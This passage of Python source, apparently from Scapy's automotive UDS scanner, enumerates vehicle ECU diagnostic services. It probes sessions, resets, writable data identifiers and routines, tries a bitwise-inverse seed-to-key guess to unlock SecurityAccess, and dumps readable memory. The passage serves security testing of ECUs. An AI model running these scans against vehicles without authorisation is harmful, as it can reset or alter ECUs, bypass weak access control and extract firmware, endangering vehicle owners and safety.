self._edge_requests[edge] = req return edge else: return None if edge: state, new_state = edge # Force TesterPresent if session is changed new_state.tp = 1 # type: ignore try: if close_socket and new_state.session == 2: # type: ignore new_state.tp = 0 # type: ignore except (AttributeError, KeyError): pass return state, new_state return None @staticmethod def enter_state_with_tp(sock, # type: _SocketUnion conf, # type: AutomotiveTestCaseExecutorConfiguration # noqa: E501 kwargs # type: Dict[str, Any] ): # type: (...) -> bool UDS_TPEnumerator.enter(sock, conf, kwargs) # Wait 5 seconds, since some ECUs require time # to switch to the bootloader try: delay = conf[UDS_DSCEnumerator.__name__]["delay_state_change"] except KeyError: delay = 5 try: close_socket = conf[UDS_DSCEnumerator.__name__]["close_socket_when_entering_session_2"] # noqa: E501 except KeyError: close_socket = False conf.stop_event.wait(delay) state_changed = UDS_DSCEnumerator.enter_state( sock, conf, kwargs["req"]) try: session = kwargs["req"].diagnosticSessionType except AttributeError: session = 0 if close_socket and session == 2: if not hasattr(sock, "ip"): log_automotive.warning("Likely closing a CAN based socket! " "This might be a configuration issue.") log_automotive.info( "Entered Programming Session: Closing socket connection") sock.close() conf.stop_event.wait(delay) if not state_changed: UDS_TPEnumerator.cleanup(sock, conf) return state_changed def get_transition_function(self, socket, edge): # type: (_SocketUnion, _Edge) -> Optional[_TransitionTuple] return UDS_DSCEnumerator.enter_state_with_tp, { "req": self._results[-1].req, "desc": "DSC=%d" % self._results[-1].req.diagnosticSessionType }, UDS_TPEnumerator.cleanup class UDS_TPEnumerator(UDS_Enumerator, StateGeneratingServiceEnumerator): _description = "TesterPresent supported" def _get_initial_requests(self, **kwargs): # type: (Any) -> Iterable[Packet] return [UDS() / UDS_TP()] def _get_table_entry_y(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return "TesterPresent:" @staticmethod def enter(socket, # type: _SocketUnion configuration, # type: AutomotiveTestCaseExecutorConfiguration _ # type: Dict[str, Any] ): # type: (...) -> bool if configuration.unittest: configuration["tps"] = None socket.sr1(UDS() / UDS_TP(), timeout=0.1, verbose=False) return True UDS_TPEnumerator.cleanup(socket, configuration) configuration["tps"] = UDS_TesterPresentSender(socket, interval=3) configuration["tps"].start() return True @staticmethod def cleanup(_, configuration): # type: (_SocketUnion, AutomotiveTestCaseExecutorConfiguration) -> bool try: configuration["tps"].stop() configuration["tps"] = None except (AttributeError, KeyError): pass # log_automotive.debug("Cleanup TP-Sender Error: %s", e) return True def get_transition_function(self, socket, edge): # type: (_SocketUnion, _Edge) -> Optional[_TransitionTuple] return self.enter, {"desc": "TP"}, self.cleanup class UDS_EREnumerator(UDS_Enumerator): _description = "ECUReset supported" _supported_kwargs = copy.copy(ServiceEnumerator._supported_kwargs) _supported_kwargs["scan_range"] = \ ((list, tuple, range), lambda x: max(x) < 0x100 and min(x) >= 0) def _get_initial_requests(self, **kwargs): # type: (Any) -> Iterable[Packet] reset_type = kwargs.pop("scan_range", range(0x100)) return cast(Iterable[Packet], UDS() / UDS_ER(resetType=reset_type)) def _get_table_entry_y(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return "0x%02x: %s" % ( tup[1].resetType, tup[1].sprintf("%UDS_ER.resetType%")) class UDS_CCEnumerator(UDS_Enumerator): _description = "CommunicationControl supported" _supported_kwargs = copy.copy(ServiceEnumerator._supported_kwargs) _supported_kwargs["scan_range"] = \ ((list, tuple, range), lambda x: max(x) < 0x100 and min(x) >= 0) def _get_initial_requests(self, **kwargs): # type: (Any) -> Iterable[Packet] control_type = kwargs.pop("scan_range", range(0x100)) return cast(Iterable[Packet], UDS() / UDS_CC( controlType=control_type, communicationType0=1, communicationType2=15)) def _get_table_entry_y(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return "0x%02x: %s" % ( tup[1].controlType, tup[1].sprintf("%UDS_CC.controlType%")) class UDS_RDBPIEnumerator(UDS_Enumerator): _description = "ReadDataByPeriodicIdentifier supported" _supported_kwargs = copy.copy(ServiceEnumerator._supported_kwargs) _supported_kwargs["scan_range"] = ( (list, tuple, range), lambda x: max(x) < 0x100 and min(x) >= 0) def _get_initial_requests(self, **kwargs): # type: (Any) -> Iterable[Packet] pdid = kwargs.pop("scan_range", range(0x100)) return cast(Iterable[Packet], UDS() / UDS_RDBPI( transmissionMode=1, periodicDataIdentifier=pdid)) def _get_table_entry_y(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str resp = tup[2] if resp is not None and resp.service != 0x7f: return "0x%02x %s: %s" % ( tup[1].periodicDataIdentifier, tup[1].sprintf("%UDS_RDBPI.periodicDataIdentifier%"), resp.dataRecord) else: return "0x%02x %s: No response" % ( tup[1].periodicDataIdentifier, tup[1].sprintf("%UDS_RDBPI.periodicDataIdentifier%")) class UDS_ServiceEnumerator(UDS_Enumerator): _description = "Available services and negative response per state" _supported_kwargs = copy.copy(ServiceEnumerator._supported_kwargs) _supported_kwargs.update({ "request_length": (int, lambda x: 1 <= x < 5) }) _supported_kwargs["scan_range"] = \ ((list, tuple, range), lambda x: max(x) < 0x100 and min(x) >= 0) _supported_kwargs_doc = ServiceEnumerator._supported_kwargs_doc + """ :param int request_length: Specifies the maximum length of arequest packet. The enumerator will generate all packets from a length of 1 (UDS Service ID only) up to the specified `request_length`.""" def execute(self, socket, state, **kwargs): # type: (_SocketUnion, EcuState, Any) -> None super(UDS_ServiceEnumerator, self).execute(socket, state, **kwargs) execute.__doc__ = _supported_kwargs_doc def _get_initial_requests(self, **kwargs): # type: (Any) -> Iterable[Packet] # Only generate services with unset positive response bit (0x40) as # default scan_range scan_range = kwargs.pop("scan_range", (x for x in range(0x100) if not x & 0x40)) request_length = kwargs.pop("request_length", 1) return itertools.chain.from_iterable( ([UDS(service=x) / Raw(b"\x00" * req_len) for req_len in range(request_length)] for x in scan_range)) def _evaluate_response(self, state, # type: EcuState request, # type: Packet response, # type: Optional[Packet] **kwargs # type: Optional[Dict[str, Any]] ): # type: (...) -> bool if response and response.service == 0x51: log_automotive.warning( "ECUResetPositiveResponse detected! This might have changed " "the state of the ECU under test.") # remove args from kwargs since they will be overwritten kwargs["exit_if_service_not_supported"] = False # type: ignore return super(UDS_ServiceEnumerator, self)._evaluate_response( state, request, response, **kwargs) def _get_table_entry_y(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return "0x%02x-%d: %s" % ( tup[1].service, len(tup[1]), tup[1].sprintf("%UDS.service%")) class UDS_RDBIEnumerator(UDS_Enumerator): _description = "Readable data identifier per state" _supported_kwargs = copy.copy(ServiceEnumerator._supported_kwargs) _supported_kwargs["scan_range"] = \ ((list, tuple, range), lambda x: max(x) < 0x10000 and min(x) >= 0) def _get_initial_requests(self, **kwargs): # type: (Any) -> Iterable[Packet] scan_range = kwargs.pop("scan_range", range(0x10000)) return (UDS() / UDS_RDBI(identifiers=[x]) for x in scan_range) @staticmethod def print_information(resp): # type: (Packet) -> str load = bytes(resp)[3:] if len(resp) > 3 else "No data available" return "PR: %s" % load def _get_table_entry_y(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return "0x%04x: %s" % (tup[1].identifiers[0], tup[1].sprintf("%UDS_RDBI.identifiers%")[1:-1]) def _get_table_entry_z(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return self._get_label(tup[2], self.print_information) class UDS_RDBISelectiveEnumerator(StagedAutomotiveTestCase): @staticmethod def __connector_rnd_to_seq(rdbi_random, # type: AutomotiveTestCaseABC _ # type: AutomotiveTestCaseABC ): # type: (...) -> Dict[str, Any] rdbi_random = cast(UDS_Enumerator, rdbi_random) identifiers_with_positive_response = \ [p.resp.dataIdentifier for p in rdbi_random.results_with_positive_response] scan_range = UDS_RDBISelectiveEnumerator. \ points_to_blocks(identifiers_with_positive_response) return {"scan_range": scan_range} @staticmethod def points_to_blocks(pois): # type: (Sequence[int]) -> Iterable[int] if len(pois) == 0: # quick path for better performance return [] block_size = UDS_RDBIRandomEnumerator.block_size generators = [] for start in range(0, 2 ** 16, block_size): end = start + block_size pr_in_block = any((start <= identifier < end for identifier in pois)) if pr_in_block: generators.append(range(start, end)) scan_range = list(itertools.chain.from_iterable(generators)) return scan_range def __init__(self): # type: () -> None super(UDS_RDBISelectiveEnumerator, self).__init__( [UDS_RDBIRandomEnumerator(), UDS_RDBIEnumerator()], [None, self.__connector_rnd_to_seq]) class UDS_RDBIRandomEnumerator(UDS_RDBIEnumerator): _supported_kwargs = copy.copy(UDS_RDBIEnumerator._supported_kwargs) _supported_kwargs.update({ 'probe_start': (int, lambda x: 0 <= x <= 0xffff), 'probe_end': (int, lambda x: 0 <= x <= 0xffff) }) block_size = 2 ** 6 _supported_kwargs_doc = UDS_RDBIEnumerator._supported_kwargs_doc + """ :param int probe_start: Specifies the start identifier for probing. :param int probe_end: Specifies the end identifier for probing.""" def execute(self, socket, state, **kwargs): # type: (_SocketUnion, EcuState, Any) -> None super(UDS_RDBIRandomEnumerator, self).execute(socket, state, **kwargs) execute.__doc__ = _supported_kwargs_doc def _get_initial_requests(self, **kwargs): # type: (Any) -> Iterable[Packet] samples_per_block = { 4: 29, 5: 22, 6: 19, 8: 11, 9: 11, 10: 13, 11: 14, 12: 31, 13: 4, 14: 26, 16: 30, 17: 4, 18: 20, 19: 5, 20: 49, 21: 54, 22: 9, 23: 4, 24: 10, 25: 8, 28: 6, 29: 3, 32: 11, 36: 4, 37: 3, 40: 9, 41: 9, 42: 3, 44: 2, 47: 3, 48: 4, 49: 3, 52: 8, 64: 35, 66: 2, 68: 24, 69: 19, 70: 30, 71: 28, 72: 16, 73: 4, 74: 6, 75: 27, 76: 41, 77: 11, 78: 6, 81: 2, 88: 3, 90: 2, 92: 16, 97: 15, 98: 20, 100: 6, 101: 5, 102: 5, 103: 10, 106: 10, 108: 4, 124: 3, 128: 7, 136: 15, 137: 14, 138: 27, 139: 10, 148: 9, 150: 2, 152: 2, 168: 23, 169: 15, 170: 16, 171: 16, 172: 2, 176: 3, 177: 4, 178: 2, 187: 2, 232: 3, 235: 2, 240: 8, 252: 25, 256: 7, 257: 2, 287: 6, 290: 2, 316: 2, 319: 3, 323: 3, 324: 19, 326: 2, 327: 2, 330: 4, 331: 10, 332: 3, 334: 8, 338: 3, 832: 6, 833: 2, 900: 4, 956: 4, 958: 3, 964: 12, 965: 13, 966: 34, 967: 3, 972: 10, 1000: 3, 1012: 23, 1013: 14, 1014: 15 } to_scan = [] block_size = UDS_RDBIRandomEnumerator.block_size probe_start = kwargs.pop("probe_start", 0) probe_end = kwargs.pop("probe_end", 0x10000) probe_range = range(probe_start, probe_end, block_size) for block_index, start in enumerate(probe_range): end = start + block_size count_samples = samples_per_block.get(block_index, 1) to_scan += random.sample(range(start, end), count_samples) # Use locality effect # If an identifier brought a positive response in any state, # it is likely that in another state it is available as well positive_identifiers = [t.resp.dataIdentifier for t in self.results_with_positive_response] to_scan += positive_identifiers # make all identifiers unique with set() # Sort for better logs to_scan = sorted(list(set(to_scan))) return (UDS() / UDS_RDBI(identifiers=[x]) for x in to_scan) class UDS_WDBIEnumerator(UDS_Enumerator): _description = "Writeable data identifier per state" _supported_kwargs = copy.copy(ServiceEnumerator._supported_kwargs) _supported_kwargs.update({ 'rdbi_enumerator': (UDS_RDBIEnumerator, None) }) _supported_kwargs["scan_range"] = \ ((list, tuple, range), lambda x: max(x) < 0x100 and min(x) >= 0) _supported_kwargs_doc = ServiceEnumerator._supported_kwargs_doc + """ :param rdbi_enumerator: Specifies an instance of an UDS_RDBIEnumerator which is used to extract possible data identifiers. :type rdbi_enumerator: UDS_RDBIEnumerator""" def execute(self, socket, state, **kwargs): # type: (_SocketUnion, EcuState, Any) -> None super(UDS_WDBIEnumerator, self).execute(socket, state, **kwargs) execute.__doc__ = _supported_kwargs_doc def _get_initial_requests(self, **kwargs): # type: (Any) -> Iterable[Packet] scan_range = kwargs.pop("scan_range", range(0x10000)) rdbi_enumerator = kwargs.pop("rdbi_enumerator", None) if rdbi_enumerator is None: log_automotive.debug("Use entire scan range") return (UDS() / UDS_WDBI(dataIdentifier=x) for x in scan_range) elif isinstance(rdbi_enumerator, UDS_RDBIEnumerator): log_automotive.debug("Selective scan based on RDBI results") return (UDS() / UDS_WDBI(dataIdentifier=t.resp.dataIdentifier) / Raw(load=bytes(t.resp)[3:]) for t in rdbi_enumerator.results_with_positive_response if len(bytes(t.resp)) >= 3) else: raise Scapy_Exception("rdbi_enumerator has to be an instance " "of UDS_RDBIEnumerator") def _get_table_entry_y(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return "0x%04x: %s" % (tup[1].dataIdentifier, tup[1].sprintf("%UDS_WDBI.dataIdentifier%")) def _get_table_entry_z(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return self._get_label(tup[2], "PR: Writeable") class UDS_WDBISelectiveEnumerator(StagedAutomotiveTestCase): @staticmethod def __connector_rdbi_to_wdbi(rdbi, # type: AutomotiveTestCaseABC _ # type: AutomotiveTestCaseABC ): # type: (...) -> Dict[str, Any] return {"rdbi_enumerator": rdbi} def __init__(self): # type: () -> None super(UDS_WDBISelectiveEnumerator, self).__init__( [UDS_RDBIEnumerator(), UDS_WDBIEnumerator()], [None, self.__connector_rdbi_to_wdbi]) class UDS_SAEnumerator(UDS_Enumerator): _description = "Available security seeds with access type and state" _supported_kwargs = copy.copy(ServiceEnumerator._supported_kwargs) _supported_kwargs["scan_range"] = \ ((list, tuple, range), lambda x: max(x) < 0x100 and min(x) >= 0) def _get_initial_requests(self, **kwargs): # type: (Any) -> Iterable[Packet] scan_range = kwargs.pop("scan_range", range(1, 256, 2)) return (UDS() / UDS_SA(securityAccessType=x) for x in scan_range) def _get_table_entry_y(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return tup[1].securityAccessType def _get_table_entry_z(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return self._get_label(tup[2], lambda r: "PR: %s" % r.securitySeed) def pre_execute(self, socket, state, global_configuration): # type: (_SocketUnion, EcuState, AutomotiveTestCaseExecutorConfiguration) -> None # noqa: E501 if cast(ServiceEnumerator, self)._retry_pkt[state]: # this is a retry execute. Wait much longer than usual because # a required time delay not expired could have been received # on the previous attempt if not global_configuration.unittest: global_configuration.stop_event.wait(11) def _evaluate_retry(self, state, # type: EcuState request, # type: Packet response, # type: Packet **kwargs # type: Optional[Dict[str, Any]] ): # type: (...) -> bool if super(UDS_SAEnumerator, self)._evaluate_retry( state, request, response, **kwargs): return True if response.service == 0x7f and \ self._get_negative_response_code(response) in [0x24, 0x37]: log_automotive.debug( "Retry %s because requiredTimeDelayNotExpired or " "requestSequenceError received", repr(request)) return super(UDS_SAEnumerator, self)._populate_retry( state, request) return False def _evaluate_response(self, state, # type: EcuState request, # type: Packet response, # type: Optional[Packet] **kwargs # type: Optional[Dict[str, Any]] ): # type: (...) -> bool if super(UDS_SAEnumerator, self)._evaluate_response( state, request, response, **kwargs): return True if response is not None and \ response.service == 0x67 and \ response.securityAccessType % 2 == 1: log_automotive.debug("Seed received. Leave scan to try a key") return True return False @staticmethod def get_seed_pkt(sock, level=1, record=b""): # type: (_SocketUnion, int, bytes) -> Optional[Packet] req = UDS() / UDS_SA(securityAccessType=level, securityAccessDataRecord=record) for _ in range(10): seed = sock.sr1(req, timeout=5, verbose=False) if seed is None: return None elif seed.service == 0x7f and \ UDS_Enumerator._get_negative_response_code(seed) != 0x37: log_automotive.info( "Security access no seed! NR: %s", repr(seed)) return None elif seed.service == 0x7f and seed.negativeResponseCode == 0x37: log_automotive.info("Security access retry to get seed") time.sleep(10) continue else: return seed return None @staticmethod def evaluate_security_access_response(res, seed, key): # type: (Optional[Packet], Packet, Optional[Packet]) -> bool if res is None or res.service == 0x7f: log_automotive.info(repr(seed)) log_automotive.info(repr(key)) log_automotive.info(repr(res)) log_automotive.info("Security access error!") return False else: log_automotive.info("Security access granted!") return True class UDS_SA_XOR_Enumerator(UDS_SAEnumerator, StateGenerator): _description = "XOR SecurityAccess supported" _transition_function_args = dict() # type: Dict[_Edge, Dict[str, Any]] @staticmethod def get_key_pkt(seed, level=1): # type: (Packet, int) -> Optional[Packet] def key_function_int(s): # type: (int) -> int return 0xffffffff & ~s def key_function_short(s): # type: (int) -> int return 0xffff & ~s try: s = seed.securitySeed except AttributeError: return None fmt = None key_function = None # Optional[Callable[[int], int]] if len(s) == 2: fmt = "H" key_function = key_function_short if len(s) == 4: fmt = "I" key_function = key_function_int if key_function is not None and fmt is not None: key = struct.pack(fmt, key_function(struct.unpack(fmt, s)[0])) return cast(Packet, UDS() / UDS_SA(securityAccessType=level + 1, securityKey=key)) else: return None def get_security_access(self, sock, level=1, seed_pkt=None): # type: (_SocketUnion, int, Optional[Packet]) -> bool log_automotive.info( "Try bootloader security access for level %d" % level) if seed_pkt is None: seed_pkt = self.get_seed_pkt(sock, level) if not seed_pkt: return False if not any(seed_pkt.securitySeed): log_automotive.info( "Security access for level %d already granted!" % level) return True key_pkt = self.get_key_pkt(seed_pkt, level) if key_pkt is None: return False try: res = sock.sr1(key_pkt, timeout=5, verbose=False) if sock.closed: log_automotive.critical("Socket closed during scan.") raise Scapy_Exception("Socket closed during scan") except (OSError, ValueError, Scapy_Exception) as e: try: last_seed_req = self._results[-1].req last_state = self._results[-1].state if not self._populate_retry(last_state, last_seed_req): log_automotive.exception( "Exception during retry. This is bad") except IndexError: log_automotive.warning("Couldn't populate retry.") raise e return self.evaluate_security_access_response( res, seed_pkt, key_pkt) def transition_function(self, sock, _, kwargs): # type: (_SocketUnion, AutomotiveTestCaseExecutorConfiguration, Dict[str, Any]) -> bool # noqa: E501 spec = inspect.getfullargspec(self.get_security_access) func_kwargs = {k: kwargs[k] for k in spec.args if k in kwargs.keys()} return self.get_security_access(sock, **func_kwargs) def get_new_edge(self, socket, config): # type: (_SocketUnion, AutomotiveTestCaseExecutorConfiguration) -> Optional[_Edge] # noqa: E501 last_resp = self._results[-1].resp last_state = self._results[-1].state if last_resp is None or last_resp.service == 0x7f: return None try: if last_resp.service != 0x67 or \ last_resp.securityAccessType % 2 != 1: return None seed = last_resp sec_lvl = seed.securityAccessType if self.get_security_access(socket, sec_lvl, seed): log_automotive.debug("Security Access found.") # create edge new_state = copy.copy(last_state) new_state.security_level = seed.securityAccessType + 1 # type: ignore # noqa: E501 if last_state == new_state: return None edge = (last_state, new_state) self._transition_function_args[edge] = \ {"level": sec_lvl, "desc": "SA=%d" % sec_lvl} return edge except AttributeError: pass return None def get_transition_function(self, socket, edge): # type: (_SocketUnion, _Edge) -> Optional[_TransitionTuple] return self.transition_function, \ self._transition_function_args[edge], None class UDS_RCEnumerator(UDS_Enumerator): _description = "Available RoutineControls and negative response per state" _supported_kwargs = copy.copy(ServiceEnumerator._supported_kwargs) _supported_kwargs.update({ 'type_list': (list, lambda x: max(x) < 0x100 and min(x) >= 0) }) _supported_kwargs["scan_range"] = \ ((list, tuple, range), lambda x: max(x) < 0x10000 and min(x) >= 0) _supported_kwargs_doc = ServiceEnumerator._supported_kwargs_doc + """ :param list type_list: A list of RoutineControlTypes which should be enumerated. Possible values = [1, 2, 3]. """ def _get_initial_requests(self, **kwargs): # type: (Any) -> Iterable[Packet] type_list = kwargs.pop("type_list", [1, 2, 3]) scan_range = kwargs.pop("scan_range", range(0x10000)) return ( UDS() / UDS_RC(routineControlType=rc_type, routineIdentifier=data_id) for rc_type, data_id in itertools.product(type_list, scan_range) ) def _get_table_entry_y(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return "0x%04x-%d: %s" % ( tup[1].routineIdentifier, tup[1].routineControlType, tup[1].sprintf("%UDS_RC.routineIdentifier%")) class UDS_RCStartEnumerator(UDS_RCEnumerator): _description = "Available RoutineControls and negative response per state" def _get_initial_requests(self, **kwargs): # type: (Any) -> Iterable[Packet] if "type_list" in kwargs: raise KeyError("'type_list' already set in kwargs.") kwargs["type_list"] = [1] return super(UDS_RCStartEnumerator, self). \ _get_initial_requests(**kwargs) class UDS_RCSelectiveEnumerator(StagedAutomotiveTestCase): # Used to expand points to both sites # So, the total block size will be 253 * 2 = 506 expansion_width = 253 @staticmethod def points_to_ranges(pois): # type: (Iterable[int]) -> Iterable[int] expansion_width = UDS_RCSelectiveEnumerator.expansion_width generators = [] for identifier in pois: start = max(identifier - expansion_width, 0) end = min(identifier + expansion_width + 1, 0x10000) generators.append(range(start, end)) ranges_with_overlaps = itertools.chain.from_iterable(generators) return sorted(set(ranges_with_overlaps)) @staticmethod def __connector_start_to_rest(rc_start, _rc_stop): # type: (AutomotiveTestCaseABC, AutomotiveTestCaseABC) -> Dict[str, Any] # noqa: E501 rc_start = cast(UDS_Enumerator, rc_start) identifiers_with_pr = [resp.routineIdentifier for _, _, resp, _, _ in rc_start.results_with_positive_response] scan_range = UDS_RCSelectiveEnumerator.points_to_ranges( identifiers_with_pr) return {"type_list": [2, 3], "scan_range": scan_range} def __init__(self): # type: () -> None super(UDS_RCSelectiveEnumerator, self).__init__( [UDS_RCStartEnumerator(), UDS_RCEnumerator()], [None, self.__connector_start_to_rest]) class UDS_IOCBIEnumerator(UDS_Enumerator): _description = "Available Input Output Controls By Identifier " \ "and negative response per state" _supported_kwargs = copy.copy(ServiceEnumerator._supported_kwargs) _supported_kwargs["scan_range"] = \ ((list, tuple, range), lambda x: max(x) < 0x10000 and min(x) >= 0) def _get_initial_requests(self, **kwargs): # type: (Any) -> Iterable[Packet] scan_range = kwargs.pop("scan_range", range(0x10000)) return (UDS() / UDS_IOCBI(dataIdentifier=x) for x in scan_range) def _get_table_entry_y(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str resp = tup[2] if resp is not None: return "0x%04x: %s" % \ (tup[1].dataIdentifier, repr(resp.payload)) else: return "0x%04x: No response" % tup[1].dataIdentifier class UDS_RMBAEnumeratorABC(UDS_Enumerator): _description = "Readable Memory Addresses " \ "and negative response per state" @staticmethod def get_addr(pkt): # type: (UDS_RMBA) -> int """ Helper function to get the memoryAddress from a UDS_RMBA packet :param pkt: UDS_RMBA request :return: memory address of the request """ return getattr(pkt, "memoryAddress%d" % pkt.memoryAddressLen) @staticmethod def set_addr(pkt, addr): # type: (UDS_RMBA, int) -> None """ Helper function to set the memoryAddress of a UDS_RMBA packet :param pkt: UDS_RMBA request :param addr: memory address to be set """ setattr(pkt, "memoryAddress%d" % pkt.memoryAddressLen, addr) @staticmethod def get_size(pkt): # type: (UDS_RMBA) -> int """ Helper function to gets the memorySize of a UDS_RMBA packet :param pkt: UDS_RMBA request """ return getattr(pkt, "memorySize%d" % pkt.memorySizeLen) @staticmethod def set_size(pkt, size): # type: (UDS_RMBA, int) -> None """ Helper function to set the memorySize of a UDS_RMBA packet :param pkt: UDS_RMBA request :param size: memory size to be set """ set_size = min(2 ** (pkt.memorySizeLen * 8) - 1, size) setattr(pkt, "memorySize%d" % pkt.memorySizeLen, set_size) def _get_table_entry_y(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return "0x%04x" % self.get_addr(tup[1]) def _get_table_entry_z(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return self._get_label(tup[2], lambda r: "PR: %s" % r.dataRecord) class UDS_RMBARandomEnumerator(UDS_RMBAEnumeratorABC): _supported_kwargs = copy.copy(ServiceEnumerator._supported_kwargs) _supported_kwargs.update({ 'unittest': (bool, None) }) del _supported_kwargs["scan_range"] _supported_kwargs_doc = ServiceEnumerator._supported_kwargs_doc + """ :param bool unittest: Enables smaller search space for unit-test scenarios. This saves execution time.""" def execute(self, socket, state, **kwargs): # type: (_SocketUnion, EcuState, Any) -> None super(UDS_RMBARandomEnumerator, self).execute(socket, state, **kwargs) execute.__doc__ = _supported_kwargs_doc @staticmethod def _random_memory_addr_pkt(addr_len=None, size_len=None, size=None): # type: (Optional[int], Optional[int], Optional[int]) -> Packet pkt = UDS() / UDS_RMBA() # type: Packet pkt.memorySizeLen = size_len or random.randint(1, 4) pkt.memoryAddressLen = addr_len or random.randint(1, 4) UDS_RMBARandomEnumerator.set_size(pkt, size or 4) UDS_RMBARandomEnumerator.set_addr( pkt, random.randint( 0, (2 ** (8 * pkt.memoryAddressLen) - 1)) & 0xfffffff0) return pkt def _get_initial_requests(self, **kwargs): # type: (Any) -> Iterable[Packet] if kwargs.get("unittest", False): return itertools.chain( (self._random_memory_addr_pkt(addr_len=2, size_len=2) for _ in range(100)), # noqa: E501 (self._random_memory_addr_pkt(addr_len=3) for _ in range(2)), (self._random_memory_addr_pkt(addr_len=4) for _ in range(2))) return itertools.chain( (self._random_memory_addr_pkt(addr_len=1) for _ in range(100)), (self._random_memory_addr_pkt(addr_len=2) for _ in range(500)), (self._random_memory_addr_pkt(addr_len=3) for _ in range(1000)), (self._random_memory_addr_pkt(addr_len=4) for _ in range(5000))) class UDS_RMBASequentialEnumerator(UDS_RMBAEnumeratorABC): _supported_kwargs = copy.copy(ServiceEnumerator._supported_kwargs) _supported_kwargs.update({ 'points_of_interest': (list, None) }) _supported_kwargs_doc = ServiceEnumerator._supported_kwargs_doc + """ :param list points_of_interest: A list of _PointOfInterest objects as starting points for sequential search. """ def execute(self, socket, state, **kwargs): # type: (_SocketUnion, EcuState, Any) -> None super(UDS_RMBASequentialEnumerator, self).execute( socket, state, **kwargs) execute.__doc__ = _supported_kwargs_doc def __init__(self): # type: () -> None super(UDS_RMBASequentialEnumerator, self).__init__() self.__points_of_interest = defaultdict( list) # type: Dict[EcuState, List[_PointOfInterest]] # noqa: E501 self.__initial_points_of_interest = None # type: Optional[List[_PointOfInterest]] # noqa: E501 def _get_memory_addresses_from_results(self, results): # type: (Union[List[_AutomotiveTestCaseScanResult], List[_AutomotiveTestCaseFilteredScanResult]]) -> Set[int] # noqa: E501 mem_areas = list() for tup in results: resp = tup.resp if resp is not None and resp.service == 0x23: mem_areas += [ range(self.get_addr(tup.req), self.get_addr(tup.req) + len(resp.dataRecord))] else: mem_areas += [ range(self.get_addr(tup.req), self.get_addr(tup.req) + 16)] return set(list(itertools.chain.from_iterable(mem_areas))) def __pois_to_requests(self, pois): # type: (List[_PointOfInterest]) -> List[Packet] tested_addrs = self._get_memory_addresses_from_results( self.results_with_response) testing_addrs = set() new_requests = list() for addr, upward, mem_size_len, mem_addr_len, mem_size in pois: for i in range(0, mem_size * 50, mem_size): if upward: addr = min(addr + i, 2 ** (8 * mem_addr_len) - 1) else: addr = max(addr - i, 0) if addr not in tested_addrs and \ (addr, mem_size) not in testing_addrs: pkt = UDS() / UDS_RMBA(memorySizeLen=mem_size_len, memoryAddressLen=mem_addr_len) self.set_size(pkt, mem_size) self.set_addr(pkt, addr) new_requests.append(pkt) testing_addrs.add((addr, mem_size)) return new_requests def __request_to_pois(self, req, resp): # type: (Packet, Optional[Packet]) -> List[_PointOfInterest] addr = self.get_addr(req) size = self.get_size(req) msl = req.memorySizeLen mal = req.memoryAddressLen if (resp is None or resp.service == 0x7f) and size > 1: size = size // 2 return [ _PointOfInterest(addr, True, msl, mal, size), _PointOfInterest(addr, False, msl, mal, size)] if resp is not None and resp.service == 0x23: return [ _PointOfInterest(addr + size, True, msl, mal, size), _PointOfInterest(addr - size, False, msl, mal, size)] return [] def _get_initial_requests(self, **kwargs): # type: (Any) -> Iterable[Packet] raise NotImplementedError def pre_execute(self, socket, state, global_configuration): # type: (_SocketUnion, EcuState, AutomotiveTestCaseExecutorConfiguration) -> None # noqa: E501 if self.__initial_points_of_interest is None: self.__initial_points_of_interest = \ global_configuration[self.__class__.__name__].get( "points_of_interest", list()) if not self.__points_of_interest[state]: # Transfer initial pois to current state pois self.__points_of_interest[state] = \ self.__initial_points_of_interest new_requests = self.__pois_to_requests( self.__points_of_interest[state]) if len(new_requests): self._state_completed[state] = False self._request_iterators[state] = new_requests self.__points_of_interest[state] = list() else: self._request_iterators[state] = list() def _evaluate_response(self, state, # type: EcuState request, # type: Packet response, # type: Optional[Packet] **kwargs # type: Optional[Dict[str, Any]] ): # type: (...) -> bool # noqa: E501 self.__points_of_interest[state] += \ self.__request_to_pois(request, response) return super(UDS_RMBASequentialEnumerator, self)._evaluate_response( state, request, response, **kwargs) def show(self, dump=False, filtered=True, verbose=False): # type: (bool, bool, bool) -> Optional[str] s = super(UDS_RMBASequentialEnumerator, self).show( dump, filtered, verbose) or "" try: from intelhex import IntelHex ih = IntelHex() for tup in self.results_with_positive_response: for i, b in enumerate(tup.resp.dataRecord): addr = self.get_addr(tup.req) ih[addr + i] = orb(b) ih.tofile("RMBA_dump.hex", format="hex") except ImportError: err_msg = "Install 'intelhex' to create a hex file of the memory" log_automotive.exception(err_msg) with open("RMBA_dump.hex", "w") as file: file.write(err_msg) if dump: return s + "\n" else: print(s) return None class UDS_RMBAEnumerator(StagedAutomotiveTestCase): @staticmethod def __connector_rand_to_seq(rand, _): # type: (AutomotiveTestCaseABC, AutomotiveTestCaseABC) -> Dict[str, Any] # noqa: E501 points_of_interest = list() # type: List[_PointOfInterest] rand = cast(UDS_RMBARandomEnumerator, rand) for tup in rand.results_with_positive_response: points_of_interest += \ [_PointOfInterest(UDS_RMBAEnumeratorABC.get_addr(tup.req), True, tup.req.memorySizeLen, tup.req.memoryAddressLen, 0x80), _PointOfInterest(UDS_RMBAEnumeratorABC.get_addr(tup.req), False, tup.req.memorySizeLen, tup.req.memoryAddressLen, 0x80)] return {"points_of_interest": points_of_interest} def __init__(self): # type: () -> None super(UDS_RMBAEnumerator, self).__init__( [UDS_RMBARandomEnumerator(), UDS_RMBASequentialEnumerator()], [None, self.__connector_rand_to_seq]) class UDS_RDEnumerator(UDS_Enumerator): _description = "RequestDownload supported" _supported_kwargs = copy.copy(ServiceEnumerator._supported_kwargs) _supported_kwargs.update({ 'unittest': (bool, None) }) _supported_kwargs_doc = ServiceEnumerator._supported_kwargs_doc + """ :param bool unittest: Enables smaller search space for unit-test scenarios. This safes execution time.""" def execute(self, 